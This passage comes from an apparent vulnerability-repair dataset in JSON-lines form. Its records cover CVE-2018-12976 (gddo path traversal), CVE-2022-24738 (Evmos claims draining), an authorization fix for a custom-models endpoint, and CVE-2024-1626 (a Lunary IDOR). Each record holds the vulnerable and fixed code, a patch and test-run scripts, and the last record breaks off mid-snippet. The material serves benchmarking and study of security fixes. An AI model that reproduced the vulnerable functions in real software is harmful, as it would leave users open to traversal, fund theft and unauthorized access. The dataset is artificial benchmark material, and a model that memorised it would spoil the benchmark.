{\n      const sessionUser = await userFromSession(request, response);\n      const { username, password } = reqBody(request);\n      const id = Number(sessionUser.id);\n\n      if (!id) {\n        response.status(400).json({ success: false, error: \"Invalid user ID\" });\n        return;\n      }\n\n      const updates = {};\n      if (username) {\n        updates.username = User.validations.username(String(username));\n      }\n      if (password) {\n        updates.password = String(password);\n      }\n\n      if (Object.keys(updates).length === 0) {\n        response\n          .status(400)\n          .json({ success: false, error: \"No updates provided\" });\n        return;\n      }\n\n      const { success, error } = await User.update(id, updates);\n      response.status(200).json({ success, error });\n    } catch (e) {\n      console.error(e);\n      response.sendStatus(500).end();\n    }\n  });\n\n  app.get(\n    \"/system/slash-command-presets\",\n    [validatedRequest, flexUserRoleValid([ROLES.all])],\n    async (request, response) => {\n      try {\n        const user = await userFromSession(request, response);\n        const userPresets = await SlashCommandPresets.getUserPresets(user?.id);\n        response.status(200).json({ presets: userPresets });\n      } catch (error) {\n        console.error(\"Error fetching slash command presets:\", error);\n        response.status(500).json({ message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.post(\n    \"/system/slash-command-presets\",\n    [validatedRequest, flexUserRoleValid([ROLES.all])],\n    async (request, response) => {\n      try {\n        const user = await userFromSession(request, response);\n        const { command, prompt, description } = reqBody(request);\n        const presetData = {\n          command: SlashCommandPresets.formatCommand(String(command)),\n          prompt: String(prompt),\n          description: String(description),\n        };\n\n        const preset = await SlashCommandPresets.create(user?.id, presetData);\n        if (!preset) {\n          return response\n            .status(500)\n            .json({ message: \"Failed to create preset\" });\n        }\n        response.status(201).json({ preset });\n      } catch (error) {\n        console.error(\"Error creating slash command preset:\", error);\n        response.status(500).json({ message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.post(\n    \"/system/slash-command-presets/:slashCommandId\",\n    [validatedRequest, flexUserRoleValid([ROLES.all])],\n    async (request, response) => {\n      try {\n        const user = await userFromSession(request, response);\n        const { slashCommandId } = request.params;\n        const { command, prompt, description } = reqBody(request);\n\n        // Valid user running owns the preset if user session is valid.\n        const ownsPreset = await SlashCommandPresets.get({\n          userId: user?.id ?? null,\n          id: Number(slashCommandId),\n        });\n        if (!ownsPreset)\n          return response.status(404).json({ message: \"Preset not found\" });\n\n        const updates = {\n          command: SlashCommandPresets.formatCommand(String(command)),\n          prompt: String(prompt),\n          description: String(description),\n        };\n\n        const preset = await SlashCommandPresets.update(\n          Number(slashCommandId),\n          updates\n        );\n        if (!preset) return response.sendStatus(422);\n        response.status(200).json({ preset: { ...ownsPreset, ...updates } });\n      } catch (error) {\n        console.error(\"Error updating slash command preset:\", error);\n        response.status(500).json({ message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.delete(\n    \"/system/slash-command-presets/:slashCommandId\",\n    [validatedRequest, flexUserRoleValid([ROLES.all])],\n    async (request, response) => {\n      try {\n        const { slashCommandId } = request.params;\n        const user = await userFromSession(request, response);\n\n        // Valid user running owns the preset if user session is valid.\n        const ownsPreset = await SlashCommandPresets.get({\n          userId: user?.id ?? null,\n          id: Number(slashCommandId),\n        });\n        if (!ownsPreset)\n          return response\n            .status(403)\n            .json({ message: \"Failed to delete preset\" });\n\n        await SlashCommandPresets.delete(Number(slashCommandId));\n        response.sendStatus(204);\n      } catch (error) {\n        console.error(\"Error deleting slash command preset:\", error);\n        response.status(500).json({ message: \"Internal server error\" });\n      }\n    }\n  );\n}"}], "vul_patch": "--- a/server/endpoints/system.js\n+++ b/server/endpoints/system.js\n@@ -887,7 +887,7 @@\n \n   app.post(\n     \"/system/custom-models\",\n-    [validatedRequest],\n+    [validatedRequest, flexUserRoleValid([ROLES.admin])],\n     async (request, response) => {\n       try {\n         const { provider, apiKey = null, basePath = null } = reqBody(request);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-12976", "cve_description": "In Go Doc Dot Org (gddo) through 2018-06-27, an attacker could use specially crafted <go-import> tags in packages being fetched by gddo to cause a directory traversal and remote code execution.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/golang/gddo", "patch_url": ["https://github.com/golang/gddo/commit/daffe1f90ec57f8ed69464f9094753fc6452e983"], "programing_language": "Go", "vul_func": [{"id": "vul_go_19_1", "commit": "9ab275b", "file_path": "gosrc/gosrc.go", "start_line": 353, "end_line": 446, "snippet": "func getDynamic(ctx context.Context, client *http.Client, importPath, etag string) (*Directory, error) {\n\tmetaProto, im, sm, redir, err := fetchMeta(ctx, client, importPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif im.projectRoot != importPath {\n\t\tvar imRoot *importMeta\n\t\tmetaProto, imRoot, _, redir, err = fetchMeta(ctx, client, im.projectRoot)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif *imRoot != *im {\n\t\t\treturn nil, NotFoundError{Message: \"project root mismatch.\"}\n\t\t}\n\t}\n\n\t// clonePath is the repo URL from import meta tag, with the \"scheme://\" prefix removed.\n\t// It should be used for cloning repositories.\n\t// repo is the repo URL from import meta tag, with the \"scheme://\" prefix removed, and\n\t// a possible \".vcs\" suffix trimmed.\n\ti := strings.Index(im.repo, \"://\")\n\tif i < 0 {\n\t\treturn nil, NotFoundError{Message: \"bad repo URL: \" + im.repo}\n\t}\n\tproto := im.repo[:i]\n\tclonePath := im.repo[i+len(\"://\"):]\n\trepo := strings.TrimSuffix(clonePath, \".\"+im.vcs)\n\tdirName := importPath[len(im.projectRoot):]\n\n\tresolvedPath := repo + dirName\n\tdir, err := getStatic(ctx, client, resolvedPath, etag)\n\tif err == errNoMatch {\n\t\tresolvedPath = repo + \".\" + im.vcs + dirName\n\t\tmatch := map[string]string{\n\t\t\t\"dir\":        dirName,\n\t\t\t\"importPath\": importPath,\n\t\t\t\"clonePath\":  clonePath,\n\t\t\t\"repo\":       repo,\n\t\t\t\"scheme\":     proto,\n\t\t\t\"vcs\":        im.vcs,\n\t\t}\n\t\tdir, err = getVCSDirFn(ctx, client, match, etag)\n\t}\n\tif err != nil || dir == nil {\n\t\treturn nil, err\n\t}\n\n\tdir.ImportPath = importPath\n\tdir.ProjectRoot = im.projectRoot\n\tdir.ResolvedPath = resolvedPath\n\tdir.ProjectName = path.Base(im.projectRoot)\n\tif !redir {\n\t\tdir.ProjectURL = metaProto + \"://\" + im.projectRoot\n\t}\n\n\tif sm == nil {\n\t\treturn dir, nil\n\t}\n\n\tif isHTTPURL(sm.projectURL) {\n\t\tdir.ProjectURL = sm.projectURL\n\t}\n\n\tif isHTTPURL(sm.dirTemplate) {\n\t\tdir.BrowseURL = replaceDir(sm.dirTemplate, dirName)\n\t}\n\n\t// TODO: Refactor this to be simpler, implement the go-source meta tag spec fully.\n\tif isHTTPURL(sm.fileTemplate) {\n\t\tfileTemplate := replaceDir(sm.fileTemplate, dirName)\n\t\tif strings.Contains(fileTemplate, \"{file}\") {\n\t\t\tcut := strings.LastIndex(fileTemplate, \"{file}\") + len(\"{file}\") // Cut point is right after last {file} section.\n\t\t\tswitch hash := strings.Index(fileTemplate, \"#\"); {\n\t\t\tcase hash == -1: // If there's no '#', place cut at the end.\n\t\t\t\tcut = len(fileTemplate)\n\t\t\tcase hash > cut: // If a '#' comes after last {file}, use it as cut point.\n\t\t\t\tcut = hash\n\t\t\t}\n\t\t\thead, tail := fileTemplate[:cut], fileTemplate[cut:]\n\t\t\tfor _, f := range dir.Files {\n\t\t\t\tf.BrowseURL = strings.Replace(head, \"{file}\", f.Name, -1)\n\t\t\t}\n\n\t\t\tif strings.Contains(tail, \"{line}\") {\n\t\t\t\ts := strings.Replace(tail, \"%\", \"%%\", -1)\n\t\t\t\ts = strings.Replace(s, \"{line}\", \"%d\", 1)\n\t\t\t\tdir.LineFmt = \"%s\" + s\n\t\t\t}\n\t\t}\n\t}\n\n\treturn dir, nil\n}"}], "fix_func": [{"id": "fix_go_19_1", "commit": "daffe1f", "file_path": "gosrc/gosrc.go", "start_line": 353, "end_line": 449, "snippet": "func getDynamic(ctx context.Context, client *http.Client, importPath, etag string) (*Directory, error) {\n\tmetaProto, im, sm, redir, err := fetchMeta(ctx, client, importPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif im.projectRoot != importPath {\n\t\tvar imRoot *importMeta\n\t\tmetaProto, imRoot, _, redir, err = fetchMeta(ctx, client, im.projectRoot)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif *imRoot != *im {\n\t\t\treturn nil, NotFoundError{Message: \"project root mismatch.\"}\n\t\t}\n\t}\n\n\t// clonePath is the repo URL from import meta tag, with the \"scheme://\" prefix removed.\n\t// It should be used for cloning repositories.\n\t// repo is the repo URL from import meta tag, with the \"scheme://\" prefix removed, and\n\t// a possible \".vcs\" suffix trimmed.\n\ti := strings.Index(im.repo, \"://\")\n\tif i < 0 {\n\t\treturn nil, NotFoundError{Message: \"bad repo URL: \" + im.repo}\n\t}\n\tproto := im.repo[:i]\n\tclonePath := im.repo[i+len(\"://\"):]\n\trepo := strings.TrimSuffix(clonePath, \".\"+im.vcs)\n\tif !IsValidRemotePath(repo) {\n\t\treturn nil, fmt.Errorf(\"bad path from meta: %s\", repo)\n\t}\n\tdirName := importPath[len(im.projectRoot):]\n\n\tresolvedPath := repo + dirName\n\tdir, err := getStatic(ctx, client, resolvedPath, etag)\n\tif err == errNoMatch {\n\t\tresolvedPath = repo + \".\" + im.vcs + dirName\n\t\tmatch := map[string]string{\n\t\t\t\"dir\":        dirName,\n\t\t\t\"importPath\": importPath,\n\t\t\t\"clonePath\":  clonePath,\n\t\t\t\"repo\":       repo,\n\t\t\t\"scheme\":     proto,\n\t\t\t\"vcs\":        im.vcs,\n\t\t}\n\t\tdir, err = getVCSDirFn(ctx, client, match, etag)\n\t}\n\tif err != nil || dir == nil {\n\t\treturn nil, err\n\t}\n\n\tdir.ImportPath = importPath\n\tdir.ProjectRoot = im.projectRoot\n\tdir.ResolvedPath = resolvedPath\n\tdir.ProjectName = path.Base(im.projectRoot)\n\tif !redir {\n\t\tdir.ProjectURL = metaProto + \"://\" + im.projectRoot\n\t}\n\n\tif sm == nil {\n\t\treturn dir, nil\n\t}\n\n\tif isHTTPURL(sm.projectURL) {\n\t\tdir.ProjectURL = sm.projectURL\n\t}\n\n\tif isHTTPURL(sm.dirTemplate) {\n\t\tdir.BrowseURL = replaceDir(sm.dirTemplate, dirName)\n\t}\n\n\t// TODO: Refactor this to be simpler, implement the go-source meta tag spec fully.\n\tif isHTTPURL(sm.fileTemplate) {\n\t\tfileTemplate := replaceDir(sm.fileTemplate, dirName)\n\t\tif strings.Contains(fileTemplate, \"{file}\") {\n\t\t\tcut := strings.LastIndex(fileTemplate, \"{file}\") + len(\"{file}\") // Cut point is right after last {file} section.\n\t\t\tswitch hash := strings.Index(fileTemplate, \"#\"); {\n\t\t\tcase hash == -1: // If there's no '#', place cut at the end.\n\t\t\t\tcut = len(fileTemplate)\n\t\t\tcase hash > cut: // If a '#' comes after last {file}, use it as cut point.\n\t\t\t\tcut = hash\n\t\t\t}\n\t\t\thead, tail := fileTemplate[:cut], fileTemplate[cut:]\n\t\t\tfor _, f := range dir.Files {\n\t\t\t\tf.BrowseURL = strings.Replace(head, \"{file}\", f.Name, -1)\n\t\t\t}\n\n\t\t\tif strings.Contains(tail, \"{line}\") {\n\t\t\t\ts := strings.Replace(tail, \"%\", \"%%\", -1)\n\t\t\t\ts = strings.Replace(s, \"{line}\", \"%d\", 1)\n\t\t\t\tdir.LineFmt = \"%s\" + s\n\t\t\t}\n\t\t}\n\t}\n\n\treturn dir, nil\n}"}], "vul_patch": "--- a/gosrc/gosrc.go\n+++ b/gosrc/gosrc.go\n@@ -26,6 +26,9 @@\n \tproto := im.repo[:i]\n \tclonePath := im.repo[i+len(\"://\"):]\n \trepo := strings.TrimSuffix(clonePath, \".\"+im.vcs)\n+\tif !IsValidRemotePath(repo) {\n+\t\treturn nil, fmt.Errorf(\"bad path from meta: %s\", repo)\n+\t}\n \tdirName := importPath[len(im.projectRoot):]\n \n \tresolvedPath := repo + dirName\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-12976:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/gddo\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^TestGetDynamic$ github.com/golang/gddo/gosrc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2022-24738", "cve_description": "Evmos is the Ethereum Virtual Machine (EVM) Hub on the Cosmos Network. In versions of evmos prior to 2.0.1 attackers are able to drain unclaimed funds from user addresses. To do this an attacker must create a new chain which does not enforce signature verification and connects it to the target evmos instance. The attacker can use this joined chain to transfer unclaimed funds. Users are advised to upgrade. There are no known workarounds for this issue.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/tharsis/evmos", "patch_url": ["https://github.com/tharsis/evmos/commit/28870258d4ee9f1b8aeef5eba891681f89348f71"], "programing_language": "Go", "vul_func": [{"id": "vul_go_69_2", "commit": "a5a1221", "file_path": "x/claims/keeper/ibc_callbacks.go", "start_line": 17, "end_line": 105, "snippet": "func (k Keeper) OnRecvPacket(\n\tctx sdk.Context,\n\tpacket channeltypes.Packet,\n\tack exported.Acknowledgement,\n) exported.Acknowledgement {\n\tparams := k.GetParams(ctx)\n\n\t// short circuit in case claim is not active (no-op)\n\tif !params.IsClaimsActive(ctx.BlockTime()) {\n\t\treturn ack\n\t}\n\n\t// unmarshal packet data to obtain the sender and recipient\n\tvar data transfertypes.FungibleTokenPacketData\n\tif err := transfertypes.ModuleCdc.UnmarshalJSON(packet.GetData(), &data); err != nil {\n\t\terr = sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"cannot unmarshal ICS-20 transfer packet data\")\n\t\treturn channeltypes.NewErrorAcknowledgement(err.Error())\n\t}\n\n\t// validate the sender bech32 address from the counterparty chain\n\tbech32Prefix := strings.Split(data.Sender, \"1\")[0]\n\tif bech32Prefix == data.Sender {\n\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\tsdkerrors.Wrapf(sdkerrors.ErrInvalidAddress, \"invalid sender: %s\", data.Sender).Error(),\n\t\t)\n\t}\n\n\tsenderBz, err := sdk.GetFromBech32(data.Sender, bech32Prefix)\n\tif err != nil {\n\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\tsdkerrors.Wrapf(sdkerrors.ErrInvalidAddress, \"invalid sender %s, %s\", data.Sender, err.Error()).Error(),\n\t\t)\n\t}\n\n\t// change the bech32 human readable prefix (HRP) of the sender to `evmos1`\n\tsender := sdk.AccAddress(senderBz)\n\n\t// obtain the evmos recipient address\n\trecipient, err := sdk.AccAddressFromBech32(data.Receiver)\n\tif err != nil {\n\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\tsdkerrors.Wrapf(sdkerrors.ErrInvalidAddress, \"invalid receiver address %s\", err.Error()).Error(),\n\t\t)\n\t}\n\n\tsenderClaimsRecord, senderRecordFound := k.GetClaimsRecord(ctx, sender)\n\trecipientClaimsRecord, recipientRecordFound := k.GetClaimsRecord(ctx, recipient)\n\n\t// handle the 4 cases for the recipient and sender claim records\n\n\tswitch {\n\tcase senderRecordFound && recipientRecordFound:\n\t\t// 1. Both sender and recipient have a claims record\n\t\t// Merge sender's record with the recipient's record and\n\t\t// claim actions that have been completed by one or the other\n\t\trecipientClaimsRecord, err = k.MergeClaimsRecords(ctx, recipient, senderClaimsRecord, recipientClaimsRecord, params)\n\t\tif err != nil {\n\t\t\treturn channeltypes.NewErrorAcknowledgement(err.Error())\n\t\t}\n\n\t\t// update the recipient's record with the new merged one, while deleting the\n\t\t// sender's record\n\t\tk.SetClaimsRecord(ctx, recipient, recipientClaimsRecord)\n\t\tk.DeleteClaimsRecord(ctx, sender)\n\tcase senderRecordFound && !recipientRecordFound:\n\t\t// 2. Only the sender has a claims record.\n\t\t// Migrate the sender record to the recipient address\n\t\tk.SetClaimsRecord(ctx, recipient, senderClaimsRecord)\n\t\tk.DeleteClaimsRecord(ctx, sender)\n\n\t\t// claim IBC action\n\t\t_, err = k.ClaimCoinsForAction(ctx, recipient, senderClaimsRecord, types.ActionIBCTransfer, params)\n\tcase !senderRecordFound && recipientRecordFound:\n\t\t// 3. Only the recipient has a claims record.\n\t\t// Only claim IBC transfer action\n\t\t_, err = k.ClaimCoinsForAction(ctx, recipient, recipientClaimsRecord, types.ActionIBCTransfer, params)\n\tcase !senderRecordFound && !recipientRecordFound:\n\t\t// 4. Neither the sender or recipient have a claims record.\n\t\t// Perform a no-op by returning the  original success acknowledgement\n\t\treturn ack\n\t}\n\n\tif err != nil {\n\t\treturn channeltypes.NewErrorAcknowledgement(err.Error())\n\t}\n\n\t// return the original success acknowledgement\n\treturn ack\n}"}], "fix_func": [{"id": "fix_go_69_1", "commit": "2887025", "file_path": "x/claims/keeper/ibc_callbacks.go", "start_line": 3, "end_line": 14, "snippet": "import (\n\t\"strings\"\n\n\tsdk \"github.com/cosmos/cosmos-sdk/types\"\n\tsdkerrors \"github.com/cosmos/cosmos-sdk/types/errors\"\n\ttransfertypes \"github.com/cosmos/ibc-go/v3/modules/apps/transfer/types\"\n\tchanneltypes \"github.com/cosmos/ibc-go/v3/modules/core/04-channel/types\"\n\t\"github.com/cosmos/ibc-go/v3/modules/core/exported\"\n\n\tevmos \"github.com/tharsis/evmos/v2/types\"\n\t\"github.com/tharsis/evmos/v2/x/claims/types\"\n)"}, {"id": "fix_go_69_2", "commit": "2887025", "file_path": "x/claims/keeper/ibc_callbacks.go", "start_line": 18, "end_line": 138, "snippet": "func (k Keeper) OnRecvPacket(\n\tctx sdk.Context,\n\tpacket channeltypes.Packet,\n\tack exported.Acknowledgement,\n) exported.Acknowledgement {\n\tparams := k.GetParams(ctx)\n\n\t// short (no-op) circuit by returning original ACK in case the claim is not active\n\tif !params.IsClaimsActive(ctx.BlockTime()) {\n\t\treturn ack\n\t}\n\n\t// unmarshal packet data to obtain the sender and recipient\n\tvar data transfertypes.FungibleTokenPacketData\n\tif err := transfertypes.ModuleCdc.UnmarshalJSON(packet.GetData(), &data); err != nil {\n\t\terr = sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"cannot unmarshal ICS-20 transfer packet data\")\n\t\treturn channeltypes.NewErrorAcknowledgement(err.Error())\n\t}\n\n\t// validate the sender bech32 address from the counterparty chain\n\tbech32Prefix := strings.Split(data.Sender, \"1\")[0]\n\tif bech32Prefix == data.Sender {\n\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\tsdkerrors.Wrapf(sdkerrors.ErrInvalidAddress, \"invalid sender: %s\", data.Sender).Error(),\n\t\t)\n\t}\n\n\tsenderBz, err := sdk.GetFromBech32(data.Sender, bech32Prefix)\n\tif err != nil {\n\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\tsdkerrors.Wrapf(sdkerrors.ErrInvalidAddress, \"invalid sender %s, %s\", data.Sender, err.Error()).Error(),\n\t\t)\n\t}\n\n\t// change the bech32 human readable prefix (HRP) of the sender to `evmos1`\n\tsender := sdk.AccAddress(senderBz)\n\n\t// obtain the evmos recipient address\n\trecipient, err := sdk.AccAddressFromBech32(data.Receiver)\n\tif err != nil {\n\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\tsdkerrors.Wrapf(sdkerrors.ErrInvalidAddress, \"invalid receiver address %s\", err.Error()).Error(),\n\t\t)\n\t}\n\n\tsenderClaimsRecord, senderRecordFound := k.GetClaimsRecord(ctx, sender)\n\n\t// NOTE: we know that the connected chains from the authorized IBC channels\n\t// don't support ethereum keys (i.e `ethsecp256k1`). Thus, so we return an error,\n\t// unless the destination channel from a connection to a chain that is EVM-compatible\n\t// or supports ethereum keys (eg: Cronos, Injective).\n\tif sender.Equals(recipient) && !params.IsEVMChannel(packet.DestinationChannel) {\n\t\tswitch {\n\t\t// case 1: secp256k1 key from sender/recipient has no claimed actions -> error ACK to prevent funds from getting stuck\n\t\tcase senderRecordFound && !senderClaimsRecord.HasClaimedAny():\n\t\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\t\tsdkerrors.Wrapf(\n\t\t\t\t\tevmos.ErrKeyTypeNotSupported, \"receiver address %s is not a valid ethereum address\", data.Receiver,\n\t\t\t\t).Error(),\n\t\t\t)\n\t\tdefault:\n\t\t\t// case 2: sender/recipient has funds stuck -> error acknowledgement to prevent more transferred tokens from\n\t\t\t// getting stuck while we implement IBC withdrawals\n\t\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\t\tsdkerrors.Wrapf(\n\t\t\t\t\tevmos.ErrKeyTypeNotSupported,\n\t\t\t\t\t\"reverted transfer to unsupported address %s to prevent more funds from getting stuck\",\n\t\t\t\t\tdata.Receiver,\n\t\t\t\t).Error(),\n\t\t\t)\n\t\t}\n\t}\n\n\t// return original ACK in case the destination channel is not authorized\n\tif !params.IsAuthorizedChannel(packet.DestinationChannel) {\n\t\treturn ack\n\t}\n\n\trecipientClaimsRecord, recipientRecordFound := k.GetClaimsRecord(ctx, recipient)\n\n\t// handle the 4 cases for the recipient and sender claim records\n\n\tswitch {\n\tcase senderRecordFound && recipientRecordFound:\n\t\t// 1. Both sender and recipient have a claims record\n\t\t// Merge sender's record with the recipient's record and\n\t\t// claim actions that have been completed by one or the other\n\t\trecipientClaimsRecord, err = k.MergeClaimsRecords(ctx, recipient, senderClaimsRecord, recipientClaimsRecord, params)\n\t\tif err != nil {\n\t\t\treturn channeltypes.NewErrorAcknowledgement(err.Error())\n\t\t}\n\n\t\t// update the recipient's record with the new merged one, while deleting the\n\t\t// sender's record\n\t\tk.SetClaimsRecord(ctx, recipient, recipientClaimsRecord)\n\t\tk.DeleteClaimsRecord(ctx, sender)\n\tcase senderRecordFound && !recipientRecordFound:\n\t\t// 2. Only the sender has a claims record.\n\t\t// Migrate the sender record to the recipient address\n\t\tk.SetClaimsRecord(ctx, recipient, senderClaimsRecord)\n\t\tk.DeleteClaimsRecord(ctx, sender)\n\n\t\t// claim IBC action\n\t\t_, err = k.ClaimCoinsForAction(ctx, recipient, senderClaimsRecord, types.ActionIBCTransfer, params)\n\tcase !senderRecordFound && recipientRecordFound:\n\t\t// 3. Only the recipient has a claims record.\n\t\t// Only claim IBC transfer action\n\t\t_, err = k.ClaimCoinsForAction(ctx, recipient, recipientClaimsRecord, types.ActionIBCTransfer, params)\n\tcase !senderRecordFound && !recipientRecordFound:\n\t\t// 4. Neither the sender or recipient have a claims record.\n\t\t// Perform a no-op by returning the  original success acknowledgement\n\t\treturn ack\n\t}\n\n\tif err != nil {\n\t\treturn channeltypes.NewErrorAcknowledgement(err.Error())\n\t}\n\n\t// return the original success acknowledgement\n\treturn ack\n}"}, {"id": "fix_go_69_3", "commit": "2887025", "file_path": "types/errors.go", "start_line": 1, "end_line": 18, "snippet": "package types\n\nimport (\n\tsdkerrors \"github.com/cosmos/cosmos-sdk/types/errors\"\n)\n\n// RootCodespace is the codespace for all errors defined in this package\nconst RootCodespace = \"evmos\"\n\n// root error codes for Evmos\nconst (\n\tcodeKeyTypeNotSupported = iota + 2\n)\n\n// errors\nvar (\n\tErrKeyTypeNotSupported = sdkerrors.Register(RootCodespace, codeKeyTypeNotSupported, \"key type 'secp256k1' not supported\")\n)"}, {"id": "fix_go_69_4", "commit": "2887025", "file_path": "x/claims/types/claim_record.go", "start_line": 62, "end_line": 69, "snippet": "func (cr ClaimsRecord) HasClaimedAny() bool {\n\tfor _, completed := range cr.ActionsCompleted {\n\t\tif completed {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}"}], "vul_patch": "--- a/x/claims/keeper/ibc_callbacks.go\n+++ b/x/claims/keeper/ibc_callbacks.go\n@@ -5,7 +5,7 @@\n ) exported.Acknowledgement {\n \tparams := k.GetParams(ctx)\n \n-\t// short circuit in case claim is not active (no-op)\n+\t// short (no-op) circuit by returning original ACK in case the claim is not active\n \tif !params.IsClaimsActive(ctx.BlockTime()) {\n \t\treturn ack\n \t}\n@@ -44,6 +44,38 @@\n \t}\n \n \tsenderClaimsRecord, senderRecordFound := k.GetClaimsRecord(ctx, sender)\n+\n+\t// NOTE: we know that the connected chains from the authorized IBC channels\n+\t// don't support ethereum keys (i.e `ethsecp256k1`). Thus, so we return an error,\n+\t// unless the destination channel from a connection to a chain that is EVM-compatible\n+\t// or supports ethereum keys (eg: Cronos, Injective).\n+\tif sender.Equals(recipient) && !params.IsEVMChannel(packet.DestinationChannel) {\n+\t\tswitch {\n+\t\t// case 1: secp256k1 key from sender/recipient has no claimed actions -> error ACK to prevent funds from getting stuck\n+\t\tcase senderRecordFound && !senderClaimsRecord.HasClaimedAny():\n+\t\t\treturn channeltypes.NewErrorAcknowledgement(\n+\t\t\t\tsdkerrors.Wrapf(\n+\t\t\t\t\tevmos.ErrKeyTypeNotSupported, \"receiver address %s is not a valid ethereum address\", data.Receiver,\n+\t\t\t\t).Error(),\n+\t\t\t)\n+\t\tdefault:\n+\t\t\t// case 2: sender/recipient has funds stuck -> error acknowledgement to prevent more transferred tokens from\n+\t\t\t// getting stuck while we implement IBC withdrawals\n+\t\t\treturn channeltypes.NewErrorAcknowledgement(\n+\t\t\t\tsdkerrors.Wrapf(\n+\t\t\t\t\tevmos.ErrKeyTypeNotSupported,\n+\t\t\t\t\t\"reverted transfer to unsupported address %s to prevent more funds from getting stuck\",\n+\t\t\t\t\tdata.Receiver,\n+\t\t\t\t).Error(),\n+\t\t\t)\n+\t\t}\n+\t}\n+\n+\t// return original ACK in case the destination channel is not authorized\n+\tif !params.IsAuthorizedChannel(packet.DestinationChannel) {\n+\t\treturn ack\n+\t}\n+\n \trecipientClaimsRecord, recipientRecordFound := k.GetClaimsRecord(ctx, recipient)\n \n \t// handle the 4 cases for the recipient and sender claim records\n\n--- /dev/null\n+++ b/x/claims/keeper/ibc_callbacks.go\n@@ -0,0 +1,12 @@\n+import (\n+\t\"strings\"\n+\n+\tsdk \"github.com/cosmos/cosmos-sdk/types\"\n+\tsdkerrors \"github.com/cosmos/cosmos-sdk/types/errors\"\n+\ttransfertypes \"github.com/cosmos/ibc-go/v3/modules/apps/transfer/types\"\n+\tchanneltypes \"github.com/cosmos/ibc-go/v3/modules/core/04-channel/types\"\n+\t\"github.com/cosmos/ibc-go/v3/modules/core/exported\"\n+\n+\tevmos \"github.com/tharsis/evmos/v2/types\"\n+\t\"github.com/tharsis/evmos/v2/x/claims/types\"\n+)\n\n--- /dev/null\n+++ b/x/claims/keeper/ibc_callbacks.go\n@@ -0,0 +1,18 @@\n+package types\n+\n+import (\n+\tsdkerrors \"github.com/cosmos/cosmos-sdk/types/errors\"\n+)\n+\n+// RootCodespace is the codespace for all errors defined in this package\n+const RootCodespace = \"evmos\"\n+\n+// root error codes for Evmos\n+const (\n+\tcodeKeyTypeNotSupported = iota + 2\n+)\n+\n+// errors\n+var (\n+\tErrKeyTypeNotSupported = sdkerrors.Register(RootCodespace, codeKeyTypeNotSupported, \"key type 'secp256k1' not supported\")\n+)\n\n--- /dev/null\n+++ b/x/claims/keeper/ibc_callbacks.go\n@@ -0,0 +1,8 @@\n+func (cr ClaimsRecord) HasClaimedAny() bool {\n+\tfor _, completed := range cr.ActionsCompleted {\n+\t\tif completed {\n+\t\t\treturn true\n+\t\t}\n+\t}\n+\treturn false\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-24738:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/evmos\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd ./x/claims/keeper && go test   -timeout 30s -run ^TestKeeperTestSuite$ -testify.m ^TestReceive$ github.com/tharsis/evmos/v2/x/claims/keeper\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-24738:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/evmos\ngit apply --whitespace=nowarn /workspace/test.patch\ncd ./x/claims/keeper && go test   -timeout 30s -run ^TestKeeperTestSuite$ -testify.m '^(TestAck|TestOnAckClaim|TestOnReceiveClaim)$' github.com/tharsis/evmos/v2/x/claims/keeper\n"}
{"cve_id": "CVE-2024-1626", "cve_description": "An Insecure Direct Object Reference (IDOR) vulnerability exists in the lunary-ai/lunary repository, version 0.3.0, within the project update endpoint. The vulnerability allows authenticated users to modify the name of any project within the system without proper authorization checks, by directly referencing the project's ID in the PATCH request to the '/v1/projects/:projectId' endpoint. This issue arises because the endpoint does not verify if the provided project ID belongs to the currently authenticated user, enabling unauthorized modifications across different organizational projects.", "cwe_info": {"CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/lunary-ai/lunary", "patch_url": ["https://github.com/lunary-ai/lunary/commit/9eb9e526edff8bf82ae032f7a04867c8d58572bc"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_142_1", "commit": "11cf286cfcc347b9e1a0fada8c277ab4a03a9fc0", "file_path": "packages/backend/src/api/v1/projects/index.ts", "start_line": 106, "end_line": 121, "snippet": "projects.patch(\"/:projectId\", async (ctx: Context) => {\n  const { projectId } = ctx.params\n  const bodySchema = z.object({\n    name: z.string(),\n  })\n  const { name } = bodySchema.parse(ctx.request.body)\n\n  await sql`\n      update project\n      set\n        name = ${name}\n      where\n        id = 